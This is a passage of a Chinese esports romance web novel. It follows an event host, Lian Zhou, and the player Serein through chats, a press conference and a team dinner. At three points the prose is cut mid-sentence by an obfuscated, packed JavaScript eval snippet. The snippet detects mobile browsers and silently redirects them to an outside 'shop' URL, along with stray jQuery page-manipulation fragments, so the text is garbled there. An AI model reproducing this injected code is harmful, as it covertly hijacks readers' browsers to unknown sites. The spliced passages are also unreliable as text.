【八年神谷老兵:今天IR整体打得一般,你也只是相对干净,上野那配合纯战犯级别,IR这样下去走不远的。】 【特莱金能进局子吗:少爷今晚打得好!最后一把穿梭闪帅得我头皮发麻子孙满堂!】 【多加香菜不要姜:管家,少爷他已经很多年没发过自拍了。】 【至尊宝唯爱你:真恶心,打电竞长得好看有屁用】 【没苦硬吃-回复-至尊宝唯爱你:知道你打得不好还长得丑了,别叫。】 【纯鹿人:真像啊……有几分像他,也算是你的福气】 【你有这样的特莱金吗-回复-纯鹿人:还悼念呢,回去上坟吧,记得多带点蝴蝶标本】 【飞往蝶的山:笑死人了,哥哥戴着嫂子送的耳夹孔雀开屏呢,管家们看着真可怜】 【少爷与我-回复-飞往蝶的山:又是你,承认吧小黑子,恨比爱深刻,你已经对少爷不可自拔了】 …… 等等,嫂子送的耳夹? 连昼把司偕发的原图放大一看,才发现他自拍的角度微微侧着,若有似无地露出一点耳骨夹,银光流转,流苏垂下一颗小芒星。 所以,文案的雨滴和星星,是指晴空雨他本人和耳骨夹上的芒星吗? 连昼有点理解了尼克爆料的那句“九曲十八弯的矫情文案”,少爷也太懂中国人的含蓄之美了。 要不要点个赞呢。 她犹豫了一下,自己送的小礼物,点个赞不突兀吧。 手指动了动,按下小红手的瞬间还是停了下来。 算了,毕竟今晚采访时自己可是对少爷“坏事做尽”“十恶不赦”,而且这个微博号还有这么多少爷的粉丝盯着,不能轻举妄动。 连昼意兴索然地退出微博,下一秒,收到一条微信消息。 【Serein司偕:1】 怎么又来这套,发个1,剩下自己猜? 连昼有点想翻白眼,转念一想刚刚才对着他的自拍虚空占便宜,就带了点补偿心态耐心问少爷:【怎么了?】 【Serein司偕:截图给我看置顶】 连昼:…… 真的好无语。 她把置顶聊天框截图发过去给他检查,附赠一道信口雌黄的军令状。 【连昼:以后我早上起床后看一眼,晚上睡觉前看一眼,确保不错过少爷的任何消息。】 【连昼:[猫猫敬礼]】 今天好像没有什么五分钟定律,对面消息回得格外快。 【Serein司偕:不要叫少爷。】 【连昼:啊,你不喜欢吗,抱歉啊我马上改正。】 少爷却话锋一转。 【Serein司偕:你跟季明礼很熟吗】 连昼如实回答:【以前认识,熟过】 【Serein司偕:哦,我就随便问问。】 对话到这里似乎结束了,连昼对着聊天框等了半分钟没有新消息,于是手指磨磨蹭蹭地准备左滑退出界面。 没想到下一秒,这个聊天框就跳出了新消息。 【Serein司偕:他让你直接叫名字,我以为你们很熟。】 好长的一句话,还带个句号…… 连昼脑中不合时宜地跳出四个字,医学奇迹。 那么是什么让少爷打出这么多字呢? 她联系上下文,稍加思考,隐约有了一个九曲十八弯的猜想。 【连昼:那我可以直接叫你名字吗?】 对面矜持地回复:【可以。】 看到这两个字的瞬间,一种难以形容的微妙心情从某个角落里升腾上来,就好像触碰到了什么虚无缥缈的幻影,却又好像什么都没碰到。 连昼捏了捏手指,主动把对话继续下去。 【耳夹喜欢吗?很适合你,特别好看】 然而她难得主动挑起的话题没有得到回应,聊天框里静悄悄,对面就像凭空消失了一样。 连昼在床上翻来覆去,等过一个五分钟,又是一个五分钟,两个五分钟定律的回合过去了,还是毫无动静。 她后牙紧咬,重重戳着键盘,给陈霁发了条消息:【我有点烦。】 陈霁的回复都比五分钟快:【烦什么?】 连昼手指在屏幕上点了半天,点不出一句完整的回答,反而还因为不知道在烦什么,心里这点烦意慢慢变得更为丝缠藤绕。 必须马上转移注意力。 她重新打开微博,漫无目的点来点去,顺手打开了几百年没碰过的陌生人私信,开篇就是几道雷击。 “垃圾主持人,再缠着司偕你一辈子赶不上高铁!” “花絮采访怎么又是你,你能不能消失啊,我要对你PTSD了小姐姐。” “你最好别再沾Serein的边,不然我看见一次就来骂你一次。” …… 几次直播累积下来的消息密密麻麻翻不到头,统计显示共有十几万条。 连昼心有余悸:还好刚刚没给少爷的自拍点赞,不然今晚私信数量还能翻倍。 她无意识地又向下划了几下私信列表,手指不知道碰到了屏幕哪里,突然戳进了其中一个用户的主页界面。 很显然,这个叫作“与司偕老”的用户是司偕生命粉,每条微博都是固定句式。 司偕开局前甩了一下手——司偕别甩手了甩我吧! 司偕出场馆时点了一下头——司偕别点头了点我吧! 司偕入场pose比了一把飞枪——司偕别入场了入.我吧! 嗯?这条好像有点怪怪的。 连昼脸上一热,赶紧跳转下一条。 接下来这条博文里的视频吸引了她的注意力。 看不出是在什么场景,下着很大的暴雨,IR很符合他们不靠谱调性地没带一把伞,五个人下车时纷纷把外套举起盖在头顶奋力冲刺。 拍摄者聚焦司偕,记录下他跑得头发飞扬一脸凌乱的画面,镜头里有粉丝在旁边喊:少爷项链露出来了! 画面迅速被放大,精准无误框住了司偕的脖颈,捕捉到他奔跑时从领口滑出来的一道银白。 看到这里,连昼想起来半月前跟IR一起来奚城,似乎确实在中巴上见过这条蛇骨链。 只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13545576|142548||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是它一直埋在衣领里,还真没见过链子下面挂着什么。 她把视频拉到全屏,却只见司偕像是听到粉丝的惊呼,很快反应过来,反手就把项链重新塞回了衣领里。 他动作异常迅速,导致什么也看不清楚,播完这个视频的收获是虚度人生四十秒。 连昼兴致缺缺地关掉视频,转到评论区观摩真爱粉对这段无效视频的解读。 【少爷和我:是银灰色!我看见了,银灰色的!】 【莫德感情之月:你们的眼睛是尺吗?就我一个人什么也没看见?】 【晴空暴雨:嫉妒了……我在嫉妒一个幸运物……】 【特莱金能进局子吗:嫉妒了……我在嫉妒它背后的女人……】 它背后的女人……是指那个白月光吗? 火锅店里粉丝提到的“随身带很久的Lucky charm”,琪文透露的“白月光”,严丝合缝地跟这条项链重合上了。 突然之间,琪文嘴里那个镜花水月的剪影清晰起来,她的存在感变得真实强烈,让人不由自主地产生了更强烈的好奇。 连昼胡思乱想了一瞬,又马上回过神来,随即退出微博不再多看,强行把这些多余的好奇心扼杀于襁褓。 可与此同时,微信铃声响了起来。一声,两声。 手机被随意地搁在胸口,震动的时候刚好与心跳声不谋而合,连昼没有立即查看消息,过了好一会儿,才拖拖拉拉地举起手机。 不出所料,是司偕的消息。 只是与以往不同,他发过来的是两条短短的语音。 连昼面色不改,指尖移上去,点开了第一条语音。 “喜欢。” 短促的两个字,揉在吵吵嚷嚷的背景音里变得有些模糊,却足够清楚地淌进了连昼的耳朵。 喜欢……她头脑中空白一秒,才反应过来,他回答的是“喜欢耳夹吗”这个问题。 反应过来之后,她后知后觉地感到了羞窘,虽然很不想承认,但刚刚似乎真实地发生了一点羞于启齿的误会。 指尖知情知耻地移向下一条语音消息,点开。 “刚才开复盘会,现在要打训练赛,下次说。” 字数比平时多了好几倍,语速也加快很多,听得出来确实非常赶时间。 背景音里有人阴阳怪气地学舌“哦吼~”“四偕~”“下翅说哦~”,像是Dzz的古怪口音,还有季明礼问了一半的“你在跟谁”,话音未落就被截断。 连昼把两条语音重新点开一遍,不知为何,这次耳朵似乎有意识地避开了司偕的声音,倒是离经叛道地把语音条里的背景音听了个清楚。 教练喊Ash拿键盘的声音,尼克问要点什么夜宵的声音,还有Dzz在旁边起哄“四偕~”的浪荡声音。 听得连昼手指都不受控制地蜷了起来。 她捏了捏手指,从容不迫地在对话框里回复:收到,加油。 然后点击对方头像,把备注里的Serein删掉,留下“司偕”两个字,清晰明朗。 抬眼一看时间,已经凌晨三点,过不了多久窗外的天就要泛白了。 连昼关了灯,在床上静静地躺了一会,没睡着,忽地翻身坐起把床沿手机拎过来,颇有责任心地给陈霁发“我有点烦”的后续: 【好像不烦了。】 15. 狠话之王 看来导演这次是扎扎实实被惹毛了,三天后另一组的KG和NOT比赛,排班表上还真没有连昼的名字。 但连昼还是去了现场,乖乖地坐在后台,摆出一副随叫随到的卑微姿态。 可惜从开始到结束,导演都没有赏她一眼。 连昼以为自己彻底被雪藏,悻悻而归,发奋图强在酒店背了三天战队数据库,直接备战明年春季赛。 没想到决赛前一天中午,琪文打来电话,转达导演的临时通知:“今天下午决赛媒体发布会,人手不够,导演叫我喊你过来。” 决赛前的媒体发布会其实流程很简单,第一阶段赛事方招待媒体回应热评,第二阶段两队选手接受媒体提问、互相放放狠话,根本不需要多少人手。 巧就巧在因为奚城场地限制,这次两个环节会在两个会场同时进行,各需要一名主持。 连昼从床上跳起来,只来得及刷完牙洗把脸,循着导航打车到发布会场地时堪堪踩上彩排时间点,收获导演意义不明的冷哼一声。 低眉顺眼地彩排完,她立刻赶去后台妆发,然而后台场地太小,只有一个休息室用来给所有人上妆,人挤人挤得脚不沾地。 连昼来得晚,挤在门边进不去,还好琪文过来帮忙清出一个化妆位,嘱咐栗子抓紧时间给她妆造。 栗子半褒半贬地挤兑连昼:“幸亏你皮肤好上妆容易,不然次次挤压我的工作时间,挑战我的工作能力,我都想暗鲨你。” 连昼尴尬一笑,喉间还没出声,肚子先咕咕叫起来,只好更尴尬地一笑:“我起床就赶过来了,还没吃东西。” 琪文顺手翻出袋吐司给她垫食,接着神采飞扬发出邀约:“先将就一下,等结束姐姐带你去吃烤肉,想吃多少吃多少。” 栗子好奇:“琪文姐,你这几天怎么心情这么好啊。” 琪文笑而不语,连昼稍加思索,试着猜测道:“因为前两天KG一串四晋级决赛,拿到了第二张全球巅峰赛门票?” “菜比KG,Morpho走后两年没进过全球赛了。” 琪文不客气地骂了一句,嘴角笑意却压不住,“这次好歹还进了夏季决赛,就算被IR速通也没关系,回光返照总比死了好。” 栗子惊讶得睁大眼睛:“原来琪文姐是KG粉丝啊。” “老电竞人很难不爱当年的KG吧。”琪文向着连昼努嘴,“喏,这位也是KG十年老粉。” 连昼摸摸鼻子,不好意思说自己从Morpho离队后就没怎么关注KG了,悄悄转移话题:“那我要感谢KG,让我今天蹭热度吃顿大餐。” 栗子对KG往事格外新奇:“说起来,当年KG那么强的豪门战队,怎么突然就散队了啊?” “也不算散队吧。” 琪文回想起两年前,语气里拖出几分惆怅,“夺冠第二年状态下滑,赛区争锋战输给老对手YT,全球巅峰赛一轮游又是输给他们,有心魔了。” “打完没多久Morpho就宣布退役,上单打野一起转会,现在只剩中辅带着三个新人,这几个赛季打得不容易。” 栗子听得也很惆怅:“蝶神才21岁就退役,好可惜,我都没见过,你们不知道入行晚有多亏,我每次听你们说蝶神都只能自行想象白月光。” “想听蝶神的故事去问昼昼,她是蝶神梦女。” 琪文手指一横,“听苏西说她当年来面试,浑身上下都是蝴蝶,蝴蝶手珠蝴蝶项链蝴蝶挂件蝴蝶手机壳,生怕别人看不出来她是蝶神粉丝。” “昼昼你真的是蝶粉啊?” 栗子再次讶然,“我之前在微博刷到过,还以为是少爷粉丝给你乱扣帽子。” 迷妹往事不堪回首,连昼沉默一瞬,含糊道:“Morpho是我关注的第一个电竞选手,我进这个行业也是因为他,所以说我是蝶粉也不算按头。” 栗子满脸都写着心驰神往,可能已经自行脑补出了几百万字的故事情节,一边刷散粉一边追文:“然后呢然后呢,你后来见过他吗?” “没有。”连昼一五一十更新烂尾剧情,“我刚踏进电竞行业没几天就听说他退役了。” 想了想,严谨更正,“以前倒是见过很多面,都是在我当观众的时候。” “啊,好凄美,果然bad ending才更深刻。”栗子陶醉其中。 连昼提醒:“不如你把我眉毛描得这样深刻。” 栗子连忙修淡了一下妆面,画眼线刷睫毛时敬业地停了嘴,细致活干完马上开始撰写下一个章节:“那你说,Serein真的很像蝶神吗,就那么像?会认错的程度?” 这个问题就不好回答了,周围人来人往的,说什么都不合适。 栗子催命似的央求:“跟我说说嘛,我快好奇死了。” “怎么说呢……” 连昼无奈,挑了个相对客观的答案搪塞,“长得挺像的,不仔细看确实会认错。” 栗子听了,若有所思地转了转手上刷子,突然一脸恍然:“难怪拍宣传照那天你一直偷看Serein,我还以为你喜欢他呢,原来是在看白月光——唔!” 连昼吓得一抖,手忙脚乱捂住她的嘴:“你别乱说了,求你。” 栗子嘴巴被捂住了动弹不能,眼珠却突然骨碌碌地转得很灵活,努力向后瞟着,像是在暗示什么。 连昼回头一看,狭窄的休息室门口人影重重,是要参与赛前发布会的选手们一起过来了。 KG战队辅助Mist走在最前面,似乎对上次花絮采访还有印象,他语气熟稔地打起了招呼:“小昼昼也在啊。” 明明也不算熟识,但这人从容大方的样子很容易就让人产生一种多年好友的错觉。 连昼点头:“我要主持自媒体那边的会场。” Mist颇为惋惜:“那不采访我啊?我还想抽空给你讲讲你家蝶神的故事呢。” 连昼:“……” 真是碰见一次就被他贴脸开大一次,当年关注KG两年怎么都没发现辅助性格这么恶劣。 性格恶劣的Mist撩拨得逞,施施然走开。 跟在他后面进来的除了KG队员,还有几个熟悉的粉色身影。 不像平常那样吵吵闹闹,今天IR几人文静得出奇,被预设程序似的的按照上野中下辅顺序排在门口,个个闭口不言,存在感空前削弱。 连昼眼神不受控制地飘过去。 隔着来来往往的人影,只能看见司偕垂着头,没什么动作也没什么表情,眼神空洞地盯着地面,不知道在想什么。 连昼脑内条件反射地冒出一句:管家,少爷他怎么看起来不太高兴啊。 不会是听见了刚才他们关于少爷类蝶的讨论吧…… 应该不至于,离得这么远呢。 她犹犹豫豫地探出脑袋,跟IR几人搭讪,却只有季明礼和Dzz脸色还算正常地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13545577|142548||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 回应问候,其他三个像失了魂一样毫无反应。 Bking少爷和沉默上单不理人就算了,怎么连话痨打野也不出声。 连昼觉得不对劲,但不容她多想,媒体发布会就紧锣密鼓地开始了。 琪文负责选手会场,连昼只负责招待来自四面八方的自媒体博主。 这些博主对夏季决赛没问几个正经问题,时间全耗在聊天和吃瓜上了。一下午过去,连昼别的收获没有,倒是听到了不少小道消息。 比如,听说IR这几天训练赛状态特别差。 这个消息让连昼有些在意。 难怪他们刚刚站在门口一个个像在面壁思过,大概是训练赛不顺利陷入emo了。 全程大概只用了半小时,这边自媒体发布会轻松结束,另一边选手的发布会才进行到一半。 连昼悄悄凑到场馆后门边围观他们,正好赶上整场发布会最核心的“选手互放狠话”环节。 IR几人平时咋咋呼呼如狼似虎,放起狠话来像小绵羊。 上单沉默,中单说话客气,AD兀自高冷,韩援辅助跃跃欲试却被队友无情闭麦,被委以重任的话痨打野哼哧哼哧憋了半天,只憋出一句:“决赛打到你们退服!” 底下媒体很给面子地起了两声哄,催KG选手赶快回击。 想都不用想,KG派出的当然是联盟嘴人王者Mist。 这个赛区内最顶尖的辅助接过麦,气定神闲开口:“大家都知道,我曾经有个老搭档——” 博主们当然知道他的老搭档是谁,预料到接下来会是爆点发言,顿时看热闹不嫌事大地嗷嗷乱叫。 “——我觉得他很一般啦。” Mist吊足悬念,勾唇微微一笑,“不过听说对面AD是我老搭档的复刻版,那应该更强不到哪去吧。” 场馆里爆发出一阵震耳欲聋的喝彩声,有个年轻博主用惊人的音量大吼:“Serein这不回应一下?” Ash把麦举到当事人嘴边,当事人却无波无澜,停顿了好一会儿,才缓缓吐出三个字:“我更强。” Mist笑着问:“你的意思是,比Morpho强?” 司偕表情漠然:“是。” 不愧是少爷。 连昼在心里第无数次肃然起敬,个人风格如此鲜明、Bking人设始终如一,每句话从他嘴里出来都像带着专属Logo,少爷到底是怎么做到的。 会场内媒体再次嚎成一片,纷纷大喊:兄弟好狂啊! 但起哄归起哄,大家也都理解这种赛前对呛环节存粹是为了节目效果,不能算真刀真枪,所以没有过多纠结,很快就把这一段揭过了。 狠话环节之后的流程走得顺畅,大概再等了二十分钟,这边的发布会也顺利结束。 琪文下台后去换衣服,连昼等在准备室门口,正好与IR一行人迎面遇上。 走在最前方的就是司偕。 自从上次微信里道完“下次说”之后就再没联系,今天也一直没搭上话。 连昼想着好歹也算半个熟人了,于是大大方方向他打招呼:“刚刚看见你放狠话啦。” 司偕脚步一顿,面无表情地点点头,忽然间加快步伐,好像怕再多说一句似的头也不回地走了。 看着他身影从眼前飞快掠过,连昼一头雾水。 管家,上次不是刚把少爷哄好吗,怎么看起来又气鼓鼓了? 16.他说不严重 连昼一直有个疑问,这些职业选手到底对找准自己位置有多大的执念。 她左脚踏进包厢门的一霎那,正对面五双眼睛齐刷刷盯过来,上、野、中、下、辅井然有序,规范得像在台上打比赛。 IR经理尼克热情招呼:“昼昼老师随便坐啊。” 真的吗,那可以坐在他们五个中间吗? 当然,这个问题连昼只敢在心里想想,绝不敢付诸实践。 她怕强行扰乱他们的排位程序会造成不可控制的损伤,比如导致IR基地磁场混乱什么的。 “真没想到能在这儿遇到。”尼克问,“你和琪文怎么想到跑这么远来吃饭?” ……因为下午发布会上听说你们的决赛对手KG训练赛爆杀你们,所以KG十年老粉琪文老师决定不吃烤肉了,要到最贵的餐厅吃顿最好的以示庆祝。 不过这个理由好像不方便说。 连昼默了一下,编不出什么别的借口,于是善用辩论技巧:“你们呢,怎么在这里吃饭。” “明天打决赛,今天吃顿好的壮行。”尼克盛情相邀,“你坐呀,别客气。” 连昼看了看左边,又看了看右边,视线扫过冷脸少爷时想起他正处于低气压状态中,当机立断决定离他远点,转身在上单小渊的右手边落座。 没一会儿,琪文点完饮料也到了包厢,跟尼克一阵寒暄,三言两语间发现IR入住的电竞基地跟联赛工作人员住的思丽顿距离只有三百米,立马就约好吃完饭乘IR的车回去。 为了庆祝IR对手强劲而来,结果又蹭IR的海鲜大餐,又蹭IR的豪华座驾。 连昼在心里默念三遍“IR决赛必胜”,略表赎罪。 另一个蹭饭人琪文到底是江湖老手,席上笑语盈盈从容自若,还主动提起了发布会上两队的互访狠话环节。 尼克有一种自家孩子出丑了的羞赧:“别提了,我们家这五个只会窝里横,平时拽样都是装出来的,真要放狠话的时候一个字都憋不出来。” 琪文说:“不会啊,你们看热搜,Serein的狠话已经享誉全国了。” 众人纷纷拿出手机看微博,热搜第一上还真挂着司偕的ID。 只不过并不只是这个ID,而是更劲爆的一个长词条。 【Serein称比蝶神强】 “……” 一阵整齐的沉默过后,季明礼开口:“不像假的。” 确实不假,原汁原味的Bking语录。 但是挂在热搜第三上,是不是有些超过了? 连昼点进词条页面,各路自媒体和营销号已经转发得热火朝天,毫无疑问,接下来又是一场蝶粉和少爷粉丝的口水大战。 逐渐习惯这种场面,连昼只匆匆扫了一眼评论区,评论区倒是出奇齐整,全是少爷粉丝带着Tag复制同一条文案,不留活口地把蝶粉完全淹没。 【莫德感情之月:#Serein称比蝶神强-他才二十岁,他能撒谎吗?】 【给司偕提鞋:#Serein称比蝶神强-他才二十岁,他能撒谎吗?】 【飞往蝶的山:笑死人了,Serein什么冠军?】 【少爷和我-回复-飞往蝶的山:小黑子,你比我还早到现场,你超爱】 【流星剑刃的狗:#Serein称比蝶神强-他才二十岁,他能撒谎吗?】 …… 不是甄学十级学者想不出这文案。 连昼没忍住,对着评论区笑了一声。 笑完抬头,发现桌边一圈人都静静地注视着自己,包括那个二十岁不会撒谎的胧月少爷。 连昼:“……我不是那个意思。” 他们不会以为她这个粉籍人尽皆知的蝶粉,是对着词条轻蔑一笑吧…… 好在大家都是成熟体面的成年人,没有人试图往下深究这个可能导致场面尴尬的问题,也恰恰好包厢门被推开,几道硬菜陆续上桌,尼克打了个哈哈,招呼众人趁热开动。 这家餐厅以海鲜闻名,但尼克似乎额外点了不少海鲜之外的家常热菜,上来后陆续转到了左半边。 连昼眼神有意无意地眺望,瞥见司偕面前一道海鲜都没有,只有清炒虾仁和时蔬。他很偶尔才动筷,大多数时候只夹点时蔬慢慢吃着,跟旁边神采飞扬大快朵颐的Dzz形成鲜明对比。 怎么回事,还挺楚楚可怜的。 连昼不动神色地伸手,试图转动菜肴,没想到被尼克一眼看穿,出声阻止:“昼昼老师,你不用照顾司偕,他吃不了。” 此话一出,左边几人齐刷刷望过来,Dzz没听清,嘴里包得鼓鼓囊囊,含糊不清地问:“造骨?森么意思?” “就是昼昼老师想让司偕多吃点的意思。”尼克添枝加叶给他解释。 连昼觉得他的解释好像有哪里不对劲,但又无从反驳,张了张嘴,最后说:“是吧。” 隔着几个人,一直沉默不语的司偕投来了视线,四目相对不过两秒,他又很快转回了脸,垂眼盯着自己略显干净的餐碟。 “不想吃。” 他的拒绝听起来沉闷生硬。 大概是因为刚被“他才二十岁”洗脑,连昼没有因为这个拒绝而尴尬,反而空前有耐心地劝哄:“明天还要比赛,勉强吃点吧。” “昼昼老师你别理他了。” 尼克无情戳穿,“司偕又装B呢,其实他是不能吃。” 琪文抢答:“Serein对海鲜过敏是吧。” “不是过敏,他腕管综合征最近比较严重,海鲜之类的都不能碰。” 尼克举手朝司偕示意,“来,给两位主持老师看一下。” 司偕目不斜视,嘴角向下抿起,一张冷脸上终于有了点类似于恼羞成怒的表情:“不要。” 坐在旁边的季明礼直接握上他的右腕,展示珠宝似的稳稳托起。 “挺严重的,每天都要带着夹板睡觉。” 腕管综合征…… 这五个字对连昼来说并不陌生,毕竟当年Morpho也因为这个病症做过手术。 电竞职业选手打久了难免会有手指手腕的损伤,可是司偕出道才一年多,怎么会需要天天戴夹板这么严重? 像是看出了连昼的疑惑,尼克长叹一口气:“你们别看司偕平时在外面装得跟龙傲天似的,其实私底下是个奋斗批。” “从出道到现在没有一天不训练的,流感最严重的那次,他发烧到四十度还半夜爬起来练穿梭闪。” “之前不是被解说批评‘站位激进’嘛,他回来抓着我们复盘了三个月——” “咳。”司偕发出一声拿腔拿调的轻哼,试图打断尼克爆料。 为了起到有效干扰作用,他哼得很用力,连昼甚至眼尖地发现,少爷用力得连耳朵都红了。 但他的用力只能起到一个推波助澜的作用,尼克越讲越起劲:“你们知道他有多努力吗?戴着夹板还坚持通宵训练赛,我都担心他把手打废了。” “打废了?”连昼精准捕捉到关键词,“严重到这种程度吗?” “不严重。” 司偕故作高冷的声音传过来,像是为了佐证这三个字,他抬起右手腕,小幅度转了一圈,面不改色地再次强调,“没什么影响。” 他的手腕上戴着一个黑灰色的护具,乍一看就像是普通护腕。 连昼脑中模模糊糊闪过一些悬而未决的记忆,那些疑问似乎都在此刻摊开谜底。 比如在IR和TNG比赛前的准备室里,他边看复盘视频 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13556301|142548||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 边揉手腕; 决胜局那波团战之后,他额前全是冷汗,季明礼问“你怎么样”; 就连今天发布会回应Mist的狠话,也是Ash帮忙举麦…… 如果不严重的话,怎么会连麦都不能举? 可想而知,从四强战那天到现在快一周,他的手腕不仅没有恢复,反而更严重了。 连昼欲言又止。 她想提醒司偕给自己的手腕留点余地,可转念一想决赛近在眼前,照尼克爆料的奋斗批属性来看,他肯定不会停止训练的,估计今晚回去还要通宵。 算了,提醒也没用。 连昼左思右想走了会儿神,再回神时尼克已经结束了关于司偕的爆料,转头对另外四个可汗大点兵。 “季明礼也是,大年初一凌晨两点,他给大秦教练发了份上万字的中野联动思路分析,闹得大秦被迫守完整个除夕夜。” “还有Ash——” 这段刚起了个头,打野Ash的大嗓门叫起来:“不要说了不要说了!你敢说我我明天决赛直接挂机!” 尼克的长篇大论卡在嘴里,顿了顿,转向上单:“小渊——” 他又卡了一下,“小渊挺好的。” 好就好在经常会忘了还有这么个人。 要不是尼克主动Cue起,连昼坐在他右手边都没怎么感受到他的存在。 这位知名沉默上单对外界纷扰毫无反应,即使尼克和Ash吵到他脸上来了,他也闷声不语,无动于衷。 尼克刚才点评上单没发挥好,思考了片刻,重新发挥:“小渊才是我们队里最装的那个,他比司偕还难搞。” 这个爆料颇有新意,琪文立即惯性地进入采访状态:“为什么这么说呢?” 尼克也说不出个具体来,直接推出Ash转嫁难题:“让Ash来说,Ash最了解小渊。” 一向话痨的Ash今天惜字如金,停顿几秒才绷着脸吐出寥寥几个字:“我才不了解他。” 连昼有点意外,IR上野可是联赛内有名的IE连体婴,怎么现在Ash这语气听起来不太和谐的样子。 尼克却大大咧咧一带而过:“他俩平时就这样,隔三岔五闹点别扭,不过没事的,小渊反正什么都不说,Ash自己闹两天就好了。” Ash怒形于色:“你再说我就吊死在你房间门口!” “好好好,不说了不说了。” 爆料环节结束,众人注意力意犹未尽地解散,回归眼前大餐。 连昼刚剥完蟹腿想找纸巾擦手,一抬头刚好看见Ash在拿螃蟹。 也许是上桌前没有仔细摆盘,他手上那只螃蟹被提起时,蟹腿刚好卡住了另外一只,于是一对螃蟹兄弟连体挂在空中。 Ash犹豫了一下,把另一只放到右手边:“这只给你。” 小渊垂眼望见螃蟹,发出了今晚第一声:“我不吃。” “你不是喜欢……算了爱吃不吃。” Ash懒得多说,气呼呼地扭过头去。 连昼却看见小渊视线依然停留在螃蟹上,看了一会儿,最后还是拿到了自己餐盘里。 他的餐盘干净得跟司偕有一拼,什么海鲜壳骨都没有。 连昼这才意识到,这个存在感极低的上单好像全程也没动过几下筷子。 司偕是因为腕管综合征的缘故,那小渊又是为什么拒绝他“喜欢”的螃蟹? 她暗暗侧目,大概是因为座位紧靠,她一眼就发现小渊的右脸颊有点异常,似乎带着一些不太明显的红肿。 幼时嗜甜常见牙医的连昼:突然有一个大胆的猜想。 AD手疼嘴硬,上单牙痛不说。 好家伙,小小一个IR战队,竟有足足两位Bking。 17.很像他吗 因为IR还要回去训练,所以这顿海鲜大餐吃得比平时聚餐快很多,八点半都还没到,连昼和琪文就被IR豪华座驾送到了思丽顿酒店门口。 连昼在酒店大门前踌躇了一下,对琪文说:“我要出去买点东西,琪文姐你先进去吧。” 琪文问:“买什么,要不要我陪你?” 连昼赶紧摆手:“不用不用,我自己去。” 按照尼克爆料的上单小渊“才是队里最装的”“比司偕还难搞”“什么都不说”,Bking二号牙痛这件事还是越少人知道越好。 酒店不远处就有药店和便利店,连昼经验老道地直奔药店,要了宁滴丸和生理盐水,然后跑到便利店去买了一些冰袋。 他们的电竞基地酒店步行过去只有三四百米,她提着略重的物资走到一半,后知后觉想起一个问题—— 怎么神不知鬼不觉地交给小渊啊? 还像上次那样假装送咖啡吗?好像有点不合理,他们酒店又不是没有。 以公事之名单独约见小渊?算了吧,她都快被雪藏了,哪来的公事。 一路苦思冥想着,不知不觉就走到了电竞基地大厅。 前台无人招待,连昼径自等在大厅沙发椅里,想了又想,最后决定还是呼叫季明礼。 就在季明礼聊天框语音接通的一瞬间,她眼前一暗,一个身影把视野挡进了昏暗。 司偕站在身前,垂眸看她,脸上依然没什么表情,但眼睛里透出明显的疑惑,好像在问:你怎么在这里? 与此同时,听筒里传出季明礼淡淡的询问声:“怎么了?” 连昼立刻回答:“没事,手机放在口袋里误触,我挂了哈,你们训练赛加油哦。” 说完即刻挂断,不容半点质疑。 既然现成的跑腿已经出现,就没有必要再多一个知情人了。 现成跑腿司偕冷眼旁观到她睁眼说瞎话的全程,重复道:“误触?” 连昼好心跟他解释:“就是不小心点到的意思。” 说完忽地有一种很微妙的感觉,这句话是不是什么时候说过? 晃神一秒,她终于想起来了。 来奚城之前,在云州的小云端咖啡酒馆里,她和陈霁闲聊时不小心碰进了司偕的直播间,当时也向司偕解释过“误触”这个词。 当时她很快就退出了直播间,司偕还在微信里问:那你听见了吗? 听见什么? 这问题至今还是一桩悬案。 现在他本人就在眼前,连昼试探性地问:“你还记得吗?” 她问得不清不楚,司偕却答得清清楚楚:“记得。” 连昼:“那次我本来该听见什么?” “听见我说,”司偕顿了顿,像是有点说不出口,“欢迎粥粥来到我的直播间。” ……啊,就这吗。 还以为少爷那天有什么重要发言。 不过想想也是,身为一个Bking,他应该很少如此客气地欢迎粉丝吧,能说句“欢迎”就已经很给面子了。 于是连昼煞有介事,礼貌地致以迟到很久的回应:“谢谢欢迎,以后常来。” 司偕飞快地撇过头,眼神不知道飘向了哪里,半晌,闷闷地出声:“你来找谁?季明礼?” “不是不是——” 连昼想起正事,立即把手中袋子举起来,“我来送点东西。” 司偕一眼看见冒着冰凉寒气的便利店小袋子:“冰袋?” 他低头看了看自己的右手腕,“现在冰袋也没有用了。” 连昼一下子尬在原地。 这冰袋……本来也不是送来给他的,毕竟腕管综合征的病症比较复杂,应该要交给专业的跟队医师处理,她没想过要插手。 但误会已经造成,连昼不好反驳,只能干笑着附和:“是我想得太简单了,那你现在怎么样,怎么没去训练?” 司偕犹豫一下,含糊其辞:“出来随便走走。” 奋斗批决赛前夕不打训练赛,出来酒店大厅“随便走走”,怎么可能。 